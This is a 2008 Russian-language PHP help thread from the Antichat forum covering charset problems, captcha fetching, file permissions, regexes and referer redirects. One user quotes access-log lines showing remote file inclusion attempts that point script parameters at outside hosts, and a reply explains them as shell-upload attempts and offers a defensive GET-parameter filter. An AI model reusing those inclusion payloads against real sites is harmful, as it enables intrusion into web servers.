Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

25.10.2008, 12:22
|
|
Познающий
Регистрация: 03.07.2008
Сообщений: 65
Провел на форуме: 170237
Репутация:
4
|
|
Кодировка
народ возникла проблема, помогите кто может!
Суть проблемы вот в чем:
Есть цмс joomla у ее базы стоит кодировка general1251. Есть компонент(самописный). Так вот когда я экспортирую данные из cvs файла в таблицу компонента, если у таблицы стоит general1251 заносятся тупо ? вместо русских букв.Как быть???
|
|
|

25.10.2008, 12:52
|
|
Познающий
Регистрация: 22.08.2006
Сообщений: 39
Провел на форуме: 69953
Репутация:
11
|
|
Сообщение от ~NeiTRoN~
если у таблицы стоит general1251 заносятся тупо ? вместо русских букв.Как быть???
Поэксперементируй, попробой смнеить кодировку запросов: например: mysql_query('SET NAMES cp1251');
Или конвертируй текст в нужную кодировку covert_cyr_string();
|
|
|

25.10.2008, 12:56
|
|
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме: 2769640
Репутация:
1304
|
|
go2be Если ты получаешь картинку сокетом, то проблема не в лишних заголовках, а как раз в их отсутствии. Посмотри внимательно сниффером, какой запрос посылает браузер за картинкой.
А так, схема приблизительно такая:
PHP код:
<?PHP
function post($url,$content='')
{
//некая функция для удобства запросов
}
post (<урл со страницей, где капча>);
//получили нужные куки, и всю остальную шляпу
file_put_contents('local.jpg',post(<сама капча>));
echo '<img src="local.jpg">';
?>
|
|
|

25.10.2008, 12:57
|
|
Познающий
Регистрация: 22.08.2006
Сообщений: 39
Провел на форуме: 69953
Репутация:
11
|
|
Нужна помощь, немогу понять как правильно нужно перемещать загруженные файлы в папки сайта. Проблемма заключаеться в том что файлы переноситься лишь в директори с правами 0777. Пробовал менять права через chmod(); но они не меняют, может функция устарела, на хостинге php5.
Буду рад любой информации.
|
|
|

25.10.2008, 13:34
|
|
Познающий
Регистрация: 05.10.2008
Сообщений: 34
Провел на форуме: 264058
Репутация:
67
|
|
Gifts Делал я так. Не воспринимает картинку за картинку =\
Тут видимо трабла в заголовках
------------------------------
Все спасибо разобрался )
Просто взял весь принятый объем в массив. Каждая строка - элемент массива.
Проследил, что заголовки - первые 12 элементов.
Просто начал выводить массив с 12 элемента )
А в header поставил Content-type: image/jpeg
))))
Последний раз редактировалось go2be; 25.10.2008 в 13:42..
|
|
|

25.10.2008, 14:20
|
|
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме: 2769640
Репутация:
1304
|
|
go2be Что то страшное - обычно убивают заголовки, это если не массив а строка, ессесн
PHP код:
$img=preg_replace("#^[\s\S]*?\r\n\r\n#i",'',$img);
temp_late Почитай про разграничение прав в никсах. Апач запущен от пользователя nobody а папки, например, с правами user - естественно ты не сможешь с ними ничего сделать.
|
|
|

26.10.2008, 16:30
|
|
Участник форума
Регистрация: 26.12.2006
Сообщений: 107
Провел на форуме: 228267
Репутация:
27
|
|
Всем Добрый День!
Не могли бы Вы мне помочь составить регулярное выражение, я уже обращался с этим вопросом, но видимо не полностью всё объяснил, либо меня не так поняли:
допустим есть текст:
Код:
$text="<tr>СЛОВО9<td><a href='#'>СЛОВО1-СЛОВО8</a>СЛОВО1-СЛОВО3-СЛОВО5<strong>СЛОВО1</strong>СЛОВО2</td></tr>"; //Текст абсолютно производный (любой), каждый раз разный
также есть набор ключевых слов через запятую:
Код:
$keywords="СЛОВО1, СЛОВО3, СЛОВО8"; //Задаются в самом скрипте
Необходимо, сделать так, что бы каждое ключевое слово в тексте заменялось допустим на одно единственное NEWSLOVO, только в том случае, если оно не заключено в тэги <a></a> и <strong></strong> , т.е исходный текст получится таким:
Код:
$text="<tr>СЛОВО9<td><a href='#'>СЛОВО1-СЛОВО8</a>NEWSLOVO-NEWSLOVO-СЛОВО5<strong>СЛОВО1</strong>СЛОВО2</td></tr>";
P.S
Еще один вопрос немного не по теме, очень часто у себя в логе на сайте, в ошибках вижу такое:
Код:
200.89.68.125 - - [20/Oct/2008:07:12:03 +0400] "GET //amember/rconfig.inc.php?config%5Broot_dir%5D=http://www.soaresdacosta.pt/readme.txt?? HTTP/1.0" 404 49891 "-" "libwww-perl/5.65"
200.89.68.125 - - [21/Oct/2008:12:34:52 +0400] "GET //modules/Forums/admin/admin_db_utilities.php?phpbb_root_path=http://www.soaresdacosta.pt/readme.txt?? HTTP/1.0" 403 465 "-" "libwww-perl/5.65"
89.111.180.85 - - [21/Oct/2008:12:34:52 +0400] "GET //contacts/?_SERVER[DOCUMENT_ROOT]=http://www.sante.su/images/log.txt??? HTTP/1.0" 404 465 "-" "libwww-perl/5.65"
Кто это или что это пытается сделать с моим сайтом?
И как можно защитится от такого?
Последний раз редактировалось spamoney; 26.10.2008 в 16:58..
|
|
|

26.10.2008, 18:43
|
|
Участник форума
Регистрация: 01.08.2008
Сообщений: 239
Провел на форуме: 448388
Репутация:
31
|
|
Подскажите пожалуйста, как получить страницу с которой пришёл посетитель на данную страницу?
Заранее благодарен!
|
|
|

26.10.2008, 18:47
|
|
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
Провел на форуме: 5321514
Репутация:
3313
|
|
Сообщение от OnArs
Подскажите пожалуйста, как получить страницу с которой пришёл посетитель на данную страницу?
Заранее благодарен!
PHP код:
echo $_SERVER["HTTP_REFERER"];
---------------------------------------------------
Еще один вопрос немного не по теме, очень часто у себя в логе на сайте. Кто это или что это пытается сделать с моим сайтом?
И как можно защитится от такого?
Хакеры хотят залить шелл через php-injection...(и возможно заливают)
В php.ini: allow_url_fopen = On на allow_url_fopen = Off
или
В: .htaccess php_flag allow_url_fopen Off
и в каждый скрипт(ну и 'неуязвимый' тоже) в начале вставь код:
PHP код:
<?php
foreach($_GET as $key=>$get_1)
{
$get_1 = str_replace(NULL,'',urldecode($get_1));
$_GET[$key] = $get_1;
if((string)strpos($get_1,'http://')=='0' || (string)strpos($get_1,'php://')=='0' || (string)strpos($get_1,'/')=='0' || (string)strpos($get_1,'\\')=='0')
{
die('haccking attempt');
}
}
?>
Да... и еще: обновись на последнюю версию php_bb
Последний раз редактировалось ChaaK; 26.10.2008 в 19:23..
|
|
|

26.10.2008, 20:29
|
|
Участник форума
Регистрация: 01.08.2008
Сообщений: 239
Провел на форуме: 448388
Репутация:
31
|
|
ChaaK, как всегда 
Большое Спасибо!
---
Возникла проблема с переадресацией:
файл: per.php
PHP код:
<?
echo "<meta http-equiv='refresh' content='3; url='".$_SERVER['HTTP_REFERER']."'>";
?>
Параметр $_SERVER['HTTP_REFERER'] правильно возвращает адрес - реферер, но не тем не менее функция, переадресует на файл per.php, т.е. сам на себя.
Пдскажите, пожалуйста, в чём проблема!? 
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|